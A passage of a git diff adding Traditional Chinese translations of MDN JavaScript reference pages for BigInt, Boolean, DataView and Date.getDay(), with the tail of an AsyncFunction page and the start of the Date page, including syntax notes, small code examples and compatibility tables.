+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-objects', 'AsyncFunction object')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.AsyncFunction")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Statements/async_function", "async function function")}}</li>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("Global_Objects/Function", "Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope", "", 1)}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/bigint/index.html b/files/zh-tw/web/javascript/reference/global_objects/bigint/index.html
new file mode 100644
index 0000000000..705a85e255
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/bigint/index.html
@@ -0,0 +1,279 @@
+---
+title: BigInt
+slug: Web/JavaScript/Reference/Global_Objects/BigInt
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt
+---
+<p>{{JSRef}}{{SeeCompatTable}}</p>
+
+<p><code>BigInt</code> 是一個內建的物件，提供了表示大於2<sup>53</sup>的整數的功能 (2<sup>53</sup>是JavaScript原生的{{JSxRef("Number")}}能夠表示的最大值)</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js">BigInt(value);
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>欲創建的數值，可以為整數或字串。</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: <code>BigInt()</code> 不和 {{JSxRef("Operators/new", "new")}} 一起使用。</p>
+</div>
+
+<dl>
+</dl>
+
+<h2 id="說明">說明</h2>
+
+<p><code>BigInt</code> 是透過在一個數值後加上 <code>n</code> ，例如 <code>10n</code> ，或呼叫 <code>BigInt()</code> 所生成的。</p>
+
+<pre class="brush: js">const theBiggestInt = 9007199254740991n;
+
+const alsoHuge = BigInt(9007199254740991);
+// ↪ 9007199254740991n
+
+const hugeString = BigInt("9007199254740991");
+// ↪ 9007199254740991n
+
+const hugeHex = BigInt("0x1fffffffffffff");
+// ↪ 9007199254740991n
+
+const hugeBin = BigInt("0b11111111111111111111111111111111111111111111111111111");
+// ↪ 9007199254740991n
+</pre>
+
+<p><code>BigInt</code> 跟 {{JSxRef("Number")}} 很像，但在某些部分有些許不同 — 它不可以被用在內建的 {{JSxRef("Math")}} 物件方法中、而且不可以跟 <code>Number</code> 的實體混用運算子。</p>
+
+<div class="blockIndicator warning">
+<p>{{JSxRef("Number")}} 和 <code>BigInt</code> 不能混和計算 — 他們必須被轉換到同一個型態。</p>
+
+<p>然而，在相互轉換時要注意， <code>BigInt</code> 在被轉換成 <code>Number</code> 時可能會遺失部分精度的資訊。</p>
+</div>
+
+<h3 id="類別資訊">類別資訊</h3>
+
+<p>當使用 <code>typeof</code> 測試時，一個 <code>BigInt</code> 會回傳 "bigint"：</p>
+
+<pre class="brush: js">typeof 1n === 'bigint'; // true
+typeof BigInt('1') === 'bigint'; // true
+</pre>
+
+<p>當使用 <code>Object</code> 來包裹時，<code>BigInt</code> 會被看成是普通的 "object" 型態：</p>
+
+<pre class="brush: js">typeof Object(1n) === 'object'; // true
+</pre>
+
+<h3 id="Operators">Operators</h3>
+
+<p>下列的運算子可以被用在 <code>BigInt</code> 上 (或由object包裹的 <code>BigInt</code>): <code>+</code>, <code>*</code>, <code>-</code>, <code>**</code>, <code>%</code>.</p>
+
+<pre class="brush: js">const previousMaxSafe = BigInt(Number.MAX_SAFE_INTEGER);
+// ↪ 9007199254740991
+
+const maxPlusOne = previousMaxSafe + 1n;
+// ↪ 9007199254740992n
+
+const theFuture = previousMaxSafe + 2n;
+// ↪ 9007199254740993n, this works now!
+
+const multi = previousMaxSafe * 2n;
+// ↪ 18014398509481982n
+
+const subtr = multi – 10n;
+// ↪ 18014398509481972n
+
+const mod = multi % 10n;
+// ↪ 2n
+
+const bigN = 2n ** 54n;
+// ↪ 18014398509481984n
+
+bigN * -1n
+// ↪ –18014398509481984n
+</pre>
+
+<p><code>/</code> 運算子也同樣的能夠運行。然而，因為型態是 <code>BigInt</code> 而不是 <code>BigDecimal</code> ，除法運算會無條件捨去小數。也就是說，回傳值不會包含小數部分。</p>
+
+<div class="blockIndicator warning">
+<p>回傳值帶小數的運算在使用<code>BigInt</code>  時小數部分會被捨去。</p>
+</div>
+
+<pre class="brush: js">const expected = 4n / 2n;
+// ↪ 2n
+
+const rounded = 5n / 2n;
+// ↪ 2n, not 2.5n
+
+</pre>
+
+<h3 id="比較">比較</h3>
+
+<p>一個 <code>BigInt</code> 並不嚴格等於一個 {{JSxRef("Global_Objects/Number", "Number")}}，但他們會一般相等。</p>
+
+<pre class="brush: js">0n === 0
+// ↪ false
+
+0n == 0
+// ↪ true</pre>
+
+<p>一個 {{JSxRef("Global_Objects/Number", "Number")}} 和 <code>BigInt</code> 可以像普通運算一樣比較。</p>
+
+<pre class="brush: js">1n &lt; 2
+// ↪ true
+
+2n &gt; 1
+// ↪ true
+
+2 &gt; 2
+// ↪ false
+
+2n &gt; 2
+// ↪ false
+
+2n &gt;= 2
+// ↪ true</pre>
+
+<p>他們可以參雜在陣列中並照預期的被排序。</p>
+
+<pre class="brush: js">const mixed = [4n, 6, -12n, 10, 4, 0, 0n];
+// ↪  [4n, 6, -12n, 10, 4, 0, 0n]
+
+mixed.sort();
+// ↪ [-12n, 0, 0n, 10, 4n, 4, 6]
+</pre>
+
+<p>Note that comparisons with <code>Object</code>-wrapped <code>BigInt</code>s act as with other objects, only indicating equality when the same object instance is compared:</p>
+
+<pre class="brush: js">0n === Object(0n); // false
+Object(0n) === Object(0n); // false
+
+const o = Object(0n);
+o === o // true
+</pre>
+
+<h3 id="Conditionals">Conditionals</h3>
+
+<p>A <code>BigInt</code> behaves like a {{JSxRef("Global_Objects/Number", "Number")}} in cases where it is converted to a {{JSxRef("Global_Objects/Boolean", "Boolean")}}: via the {{JSxRef("Global_Objects/Boolean", "Boolean")}} function; when used with logical operators {{JSxRef("Operators/Logical_Operators", "Logical Operators")}} <code>||</code>, <code>&amp;&amp;</code>, and <code>!</code>; or within a conditional test like an {{JSxRef("Statements/if...else", "if statement")}}.</p>
+
+<pre class="brush: js">if (0n) {
+  console.log('Hello from the if!');
+} else {
+  console.log('Hello from the else!');
+}
+
+// ↪ "Hello from the else!"
+
+0n || 12n
+// ↪ 12n
+
+0n &amp;&amp; 12n
+// ↪ 0n
+
+Boolean(0n)
+// ↪ false
+
+Boolean(12n)
+// ↪ true
+
+!12n
+// ↪ false
+
+!0n
+// ↪ true
+</pre>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{JSxRef("BigInt.asIntN()")}}</dt>
+ <dd>Wraps a BigInt between -2<sup>width-1</sup> and 2<sup>width-1</sup>-1</dd>
+ <dt>{{JSxRef("BigInt.asUintN()")}}</dt>
+ <dd>Wraps a BigInt between 0 and 2<sup>width</sup>-1</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{JSxRef("BigInt.prototype")}}</dt>
+ <dd>允許對一個 <code>BigInt</code> 物件增加其屬性。</dd>
+</dl>
+
+<h2 id="BigInt_物件實體"><code>BigInt</code> 物件實體</h2>
+
+<p>All <code>BigInt</code> instances inherit from <code>BigInt.prototype</code>. The prototype object of the <code>BigInt</code> constructor can be modified to affect all <code>BigInt</code> instances.</p>
+
+<h3 id="方法_2">方法</h3>
+
+<p>{{page("/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt/prototype", "Methods")}}</p>
+
+<h2 id="建議用法">建議用法</h2>
+
+<h3 id="轉型">轉型</h3>
+
+<p>因為在 {{JSxRef("Global_Objects/Number", "Number")}} 和 <code>BigInt</code> 之間轉換可能造成精度遺失，建議當數值會超過2<sup>53</sup>時只使用 <code>BigInt</code> ，而不要在兩者之間進行轉換。</p>
+
+<h3 id="加密">加密</h3>
+
+<p><code>BigInt</code> 支援的運算並非常數時間。因此 <code>BigInt</code> <a href="https://www.chosenplaintext.ca/articles/beginners-guide-constant-time-cryptography.html">不適用在加密學上</a>。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="計算質數">計算質數</h3>
+
+<pre class="brush: js">function isPrime(p) {
+  for (let i = 2n; i * i &lt;= p; i++) {
+    if (p % i === 0n) return false;
+  }
+  return true;
+}
+
+// Takes a BigInt as an argument and returns a BigInt
+function nthPrime(nth) {
+  let maybePrime = 2n;
+  let prime = 0n;
+
+  while (nth &gt;= 0n) {
+    if (isPrime(maybePrime)) {
+      nth -= 1n;
+      prime = maybePrime;
+    }
+    maybePrime += 1n;
+  }
+
+  return prime;
+}
+
+nthPrime(20n)
+// ↪ 73n</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-bigint/#sec-bigint-objects">BigInt</a></td>
+   <td>Stage 3</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.BigInt")}}</p>
+</div>
+
+<h2 id="另見">另見</h2>
+
+<ul>
+ <li>{{JSxRef("Number")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/boolean/index.html b/files/zh-tw/web/javascript/reference/global_objects/boolean/index.html
new file mode 100644
index 0000000000..6c8d690b15
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/boolean/index.html
@@ -0,0 +1,199 @@
+---
+title: Boolean
+slug: Web/JavaScript/Reference/Global_Objects/Boolean
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Boolean</code></strong> 是布林值的包覆器。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">new Boolean([<var>value</var>])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>value</code> {{optional_inline}}</dt>
+ <dd>這個<code>Boolean</code>物件的初始值。</dd>
+</dl>
+
+<h2 id="說明">說明</h2>
+
+<p>傳入的第一個參數值，如果需要的話，會被轉換成布林值。如果沒傳值，或者是<code>0</code>、<code>-0</code>、{{jsxref("null")}}、<code>false</code>、{{jsxref("NaN")}}、{{jsxref("undefined")}}、空字串(<code>""</code>)的話，這個物件的值會被初始化成<code>false</code>。大多數情況下，DOM 物件 {{domxref("document.all")}} 被傳入後，也會將其初始化為<code>false</code>。至於其他的值，包含所有物件或<code>"false"</code>字串，都會使其初始化為<code>true</code>。</p>
+
+<p>不要將原始型別的布林值和這個布林物件搞混，它們並不相同。</p>
+
+<p>在判斷式中，任何物件只要不是 {{jsxref("undefined")}} 或 {{jsxref("null")}} ，儘管是值為<code>false</code> 的 <code>Boolean</code> 物件，都會被轉換成<code>true</code>。舉例來說，下列的 {{jsxref("Statements/if...else", "if")}} 判斷式中的布林值即為<code>true</code>：</p>
+
+<pre class="brush: js">var x = new Boolean(false);
+if (x) {
+  // this code is executed
+}
+</pre>
+
+<p>以上這個行為和<code>Boolean</code>原始型別沒有關連，反倒是下面的 {{jsxref("Statements/if...else", "if")}} 判斷式會正確地將其視為<code>false</code>：</p>
+
+<pre class="brush: js">var x = false;
+if (x) {
+  // this code is not executed
+}
+</pre>
+
+<p>不要用<code>Boolean</code>物件將非布林值轉換成布林值。反而要將<code>Boolean</code>視為函式去轉換非布林值：</p>
+
+<pre class="brush: js">var x = Boolean(expression);     // 較好
+var x = new Boolean(expression); // 不要用
+</pre>
+
+<p>如果你要指定任何物件，包括值為<code>false</code>的<code>Boolean</code>物件，作為<code>Boolean</code>物件的初始值，則該<code>Boolean</code>物件的值依舊為<code>true</code>。</p>
+
+<pre class="brush: js">var myFalse = new Boolean(false);   // 初始值給false，實際上為true
+var g = new Boolean(myFalse);       // 想當然耳，true
+var myString = new String('Hello'); // 字串物件，'Hello'
+var s = new Boolean(myString);      // 依舊為true
+</pre>
+
+<p>不要使用<code>Boolean</code>物件代替<code>Boolean</code>的原始型別！</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt><code>Boolean.length</code></dt>
+ <dd>長度永遠為1。</dd>
+ <dt>{{jsxref("Boolean.prototype")}}</dt>
+ <dd>原型為<code>Boolean</code>的建構式。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p>全域的<code>Boolean</code>物件自身沒有任何方法，它只有從原型鏈繼承而來的方法。</p>
+
+<h2 id="Boolean_實體"><code>Boolean</code> 實體</h2>
+
+<p>所有 <code>Boolean</code> 實體會繼承 {{jsxref("Boolean.prototype")}} 。和所有建構式一樣，原型物件會指派給實體那些繼承的屬性和方法。</p>
+
+<h3 id="屬性_2">屬性</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype', 'Properties')}}</div>
+
+<h3 id="方法_2">方法</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype', 'Methods')}}</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="用_false_作為初始值建立_Boolean_物件">用 <code>false</code> 作為初始值建立 <code>Boolean</code> 物件</h3>
+
+<pre class="brush: js">var bNoParam = new Boolean();
+var bZero = new Boolean(0);
+var bNull = new Boolean(null);
+var bEmptyString = new Boolean('');
+var bfalse = new Boolean(false);
+</pre>
+
+<h3 id="用_true_作為初始值建立_Boolean_物件">用 <code>true</code> 作為初始值建立 <code>Boolean</code> 物件</h3>
+
+<pre class="brush: js">var btrue = new Boolean(true);
+var btrueString = new Boolean('true');
+var bfalseString = new Boolean('false');
+var bSuLin = new Boolean('Su Lin');
+var bArrayProto = new Boolean([]);
+var bObjProto = new Boolean({});
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註記</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.6', 'Boolean')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-boolean-objects', 'Boolean')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-boolean-objects', 'Boolean')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatIE("6.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Boolean.prototype")}}</li>
+ <li>{{Glossary("Boolean")}}</li>
+ <li><a href="http://en.wikipedia.org/wiki/Boolean_data_type">Boolean data type (Wikipedia)</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/dataview/index.html b/files/zh-tw/web/javascript/reference/global_objects/dataview/index.html
new file mode 100644
index 0000000000..d7cf6d6ed4
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/dataview/index.html
@@ -0,0 +1,173 @@
+---
+title: DataView
+slug: Web/JavaScript/Reference/Global_Objects/DataView
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>DataView</code></strong> 視圖提供了一個底層介面來讀寫 {{jsxref("ArrayBuffer")}} 中的二進位資料。<code>DataView</code> 能用多種不同的型別對 <code>ArrayBuffer</code> 進行修改、解讀，且可自訂資料的位元組順序而不受系統平台限制。<code>DataView</code> 物件僅為視圖，並不會存放資料，所有的資料皆實際儲存於 <code>ArrayBuffer</code> 物件當中。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">new DataView(buffer [, byteOffset [, byteLength]])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>buffer</code></dt>
+ <dd>要給DataView物件操作的資料容器並且不能為null</dd>
+ <dt><code>byteOffset</code> {{optional_inline}}</dt>
+ <dd>The offset, in bytes, to the first byte in the specified buffer for the new view to reference. If not specified, the view of the buffer will start with the first byte.</dd>
+ <dt><code>byteLength</code> {{optional_inline}}</dt>
+ <dd>The number of elements in the byte array. If unspecified, length of the view will match the buffer's length.</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>A new <code>DataView</code> object representing the specified data buffer.</p>
+
+<h3 id="Errors_thrown">Errors thrown</h3>
+
+<dl>
+ <dt><code>{{jsxref("RangeError")}}</code></dt>
+ <dd>Thrown if the <code>byteOffset</code> and <code>byteLength</code> result in the specified view extending past the end of the buffer.</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<h3 id="位元組順序">位元組順序</h3>
+
+<p>Multi-byte number formats are represented in memory differently depending on machine architecture, see {{Glossary("Endianness")}} for an explanation. DataView accessors provide explicit control of how data will be accessed irrespective of the platform architecture's endianness.</p>
+
+<pre class="brush: js">var littleEndian = (function() {
+  var buffer = new ArrayBuffer(2);
+  new DataView(buffer).setInt16(0, 256, true /* littleEndian */);
+  // Int16Array uses the platform's endianness.
+  return new Int16Array(buffer)[0] === 256;
+})();
+console.log(littleEndian); // true or false
+</pre>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>DataView.length</dt>
+ <dd>The <code>DataView</code> constructor's length property whose value is 3.</dd>
+ <dt>{{jsxref("DataView.prototype")}}</dt>
+ <dd>Allows the addition of properties to all <code>DataView</code> objects.</dd>
+</dl>
+
+<h2 id="DataView_實例"><code>DataView</code> 實例</h2>
+
+<p>All <code>DataView</code> instances inherit from {{jsxref("DataView.prototype")}}.</p>
+
+<h3 id="屬性_2">屬性</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/DataView/prototype','Properties')}}</p>
+
+<h3 id="方法">方法</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/DataView/prototype','Methods')}}</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(16);
+var dv = new DataView(buffer, 0);
+
+dv.setInt16(1, 42);
+dv.getInt16(1); //42
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Superseded by ECMAScript 6</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-dataview-constructor', 'DataView')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition in an ECMA standard</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview-constructor', 'DataView')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>10</td>
+   <td>12.1</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("15")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12.0</td>
+   <td>4.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<p>Starting with Gecko / SpiderMonkey 40 {{geckoRelease(40)}}, <code>DataView</code> requires to be constructed with a {{jsxref("Operators/new", "new")}} operator. Calling <code>DataView()</code> as a function without <code>new</code>, will throw a {{jsxref("TypeError")}} from now on.</p>
+
+<pre class="brush: js example-bad">var dv = DataView(buffer, 0);
+// TypeError: calling a builtin DataView constructor without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new DataView(buffer, 0);</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a class="link-https" href="https://github.com/jDataView/jDataView">jDataView</a>: JavaScript library that polyfills and extends the <code>DataView</code> API to all browsers and Node.js.</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/date/getday/index.html b/files/zh-tw/web/javascript/reference/global_objects/date/getday/index.html
new file mode 100644
index 0000000000..abdc0e89a1
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/date/getday/index.html
@@ -0,0 +1,72 @@
+---
+title: Date.prototype.getDay()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getDay
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>getDay()</code></strong> 方法會根據當地時間將指定日期返回一星期中的第幾天，</span>其中0代表星期日。 在當月的某天可以參考{{jsxref("Date.prototype.getDate()")}}。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getday.html", "shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getDay()</code></pre>
+
+<h3 id="返回值">返回值</h3>
+
+<p>返回一個整數，數值介於0到6之間，取決於當地時間對應出指定日期為星期幾:0代表星期日，1代表星期一，2代表星期二，依此類推。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_getDay">使用 <code>getDay()</code></h3>
+
+<p>下面第二行表示根據日期對象'Xmas95'的值，把1賦值給'weekday'。則1995年12月25日是星期一。</p>
+
+<pre class="brush: js notranslate">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var weekday = Xmas95.getDay();
+
+console.log(weekday); // 1
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> 如果需要，可以使用{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}加上<code>options</code>參數來獲取星期幾全名。使使用此方法能輕鬆做出各種國際語言：</p>
+
+<pre class="brush: js notranslate">var options = { weekday: 'long'};
+console.log(new Intl.DateTimeFormat('en-US', options).format(Xmas95));
+// Monday
+console.log(new Intl.DateTimeFormat('de-DE', options).format(Xmas95));
+// Montag
+</pre>
+</div>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getday', 'Date.prototype.getDay')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器兼容性">瀏覽器兼容性</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.getDay")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/date/index.html b/files/zh-tw/web/javascript/reference/global_objects/date/index.html
new file mode 100644
index 0000000000..91c0305aa4
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/date/index.html
@@ -0,0 +1,263 @@
+---
+title: Date
+slug: Web/JavaScript/Reference/Global_Objects/Date
+tags:
+  - Date
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<div>{{JSRef}}</div>
+
+<p>建立一個  JavaScript <strong><code>Date</code></strong> 物件來指向某一個時間點。Date 物件是基於世界標準時間（UTC） 1970 年 1 月 1 日開始的毫秒數值來儲存時間。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">new Date();
+new Date(<var>value</var>);
+new Date(<var>dateString</var>);
+new Date(<var>year</var>, <var>month</var>[, <var>day</var>[, <var>hour</var>[, <var>minutes</var>[, <var>seconds</var>[, <var>milliseconds</var>]]]]]);
+</pre>
+
+<div class="note">
+<p><strong>附註：</strong> JavaScript <code>Date</code> 物件只能由以 Date 作為建構子來產生，如果把 Date 作為一般的函數來呼叫（省略掉 {{jsxref("Operators/new", "new")}} 運算子）將會得到一個字串而非 Date 物件；與其它 JavaScript 物件不同，它並沒有物件實體語法（例如：以中刮號 [ ] 表示陣列的宣告方式）。</p>
+</div>
+
+<h3 id="參數">參數</h3>
+
+<div class="note">
+<p><strong>附註：</strong>當傳入超過一個參數到 Date 建構子，若參數值超過它的合理範圍（例如：傳數值 13 到月份，或傳數值 70 給分鐘），相鄰的參數值將會被調整。例如： <code>new Date(2013, 13, 1)</code> 將等同於 <code>new Date(2014, 1, 1)</code> 都會建立代表 <code>2014-02-01</code> 的物件（注意月份值由 0 開始）。同樣的， <code>new Date(2013, 2, 1, 0, 70)</code> 與 <code>new Date(2013, 2, 1, 1, 10)</code> 一樣會建立代表 <code>2013-03-01T01:10:00</code> 的 Date 物件。</p>
+</div>
+
+<div class="note">
+<p><strong>附註：</strong>當傳入超過一個參數到 Date 建構子，所指定的參數值會視為本地時間。如果希望指定的值為世界標準時間（UTC），則應使用 <code>new Date({{jsxref("Date.UTC()", "Date.UTC(...)")}})</code> 語法，傳入一樣格式的參數。</p>
+</div>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>自世界標準時間（UTC） 1970 年 1 月 1 日 00:00:00 開始的毫秒整數（Integer）值（Unix 紀元；但要注意到大多 Unix 時間<span class="short_text" id="result_box" lang="zh-CN"><span>戳記是以秒而非毫秒為單位）。</span></span></dd>
+ <dt><code>dateString</code></dt>
+ <dd>表示時間日期的字串。這個字串應該要能被 {{jsxref("Date.parse()")}} 方法解析（符合 <a href="http://tools.ietf.org/html/rfc2822#page-14">IETF-compliant RFC 2822 timestamps</a> 及 <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-15.9.1.15">version of ISO8601</a> 格式要求).
+ <div class="note">
+ <p><strong>附註：</strong> 由於各家瀏覽器有所不同且具有差異性，因此非常不鼓勵使用 Date 建構子（或 <code>Date.parse</code> 方法，它們是同等的）來解析時間日期字串。</p>
+ </div>
+ </dd>
+ <dt><code>year</code></dt>
+ <dd>表示年份的整數。當數值落在 0 到 99 之間，表示 1900 到 1999 之間的年份。參考{{anch("Two_digit_years_map_to_1900_-_1999", "下面的範例")}}.</dd>
+ <dt><code>month</code></dt>
+ <dd>表示月份的整數。由 0 開始（一月）到 11 （十二月）。</dd>
+ <dt><code>day</code></dt>
+ <dd>選用。表示月份中第幾天的整數值。</dd>
+ <dt><code>hour</code></dt>
+ <dd>選用。表示小時數的整數值。</dd>
+ <dt><code>minute</code></dt>
+ <dd>選用。表示分鐘數的整數值。</dd>
+ <dt><code>second</code></dt>
+ <dd>選用。表示秒數的整數值。</dd>
